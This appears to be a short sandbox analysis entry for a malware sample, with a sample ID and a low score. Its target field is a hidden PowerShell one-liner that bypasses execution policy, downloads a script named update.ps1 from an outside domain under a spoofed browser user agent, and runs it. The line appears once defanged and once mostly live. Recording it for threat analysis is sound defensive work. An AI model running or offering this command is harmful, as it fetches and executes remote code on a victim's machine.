hxxp://C[:]\WINDOWS\system32\WindowsPowerShell\v1[.]0\PowerShell[.]exe' -w h -ep bypass -c 'iex((iwr hxxps[://]tin[.]tokyo77hit[.]com/update[.]ps1 -UseBasicParsing -UserAgent Mozilla/5[.]0 (Windows NT 10[.]0; Win64; x64) AppleWebKit/537[.]36 Safari/537[.]36 Edg/144[.]0[.]0[.]0)[.]Content)

General

Target
http://C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe' -w h -ep bypass -c 'iex((iwr hxxps://tin.tokyo77hit.com/update.ps1 -UseBasicParsing -UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0).Content)
Sample260824-exvlyssgra

Score

3^/10

discovery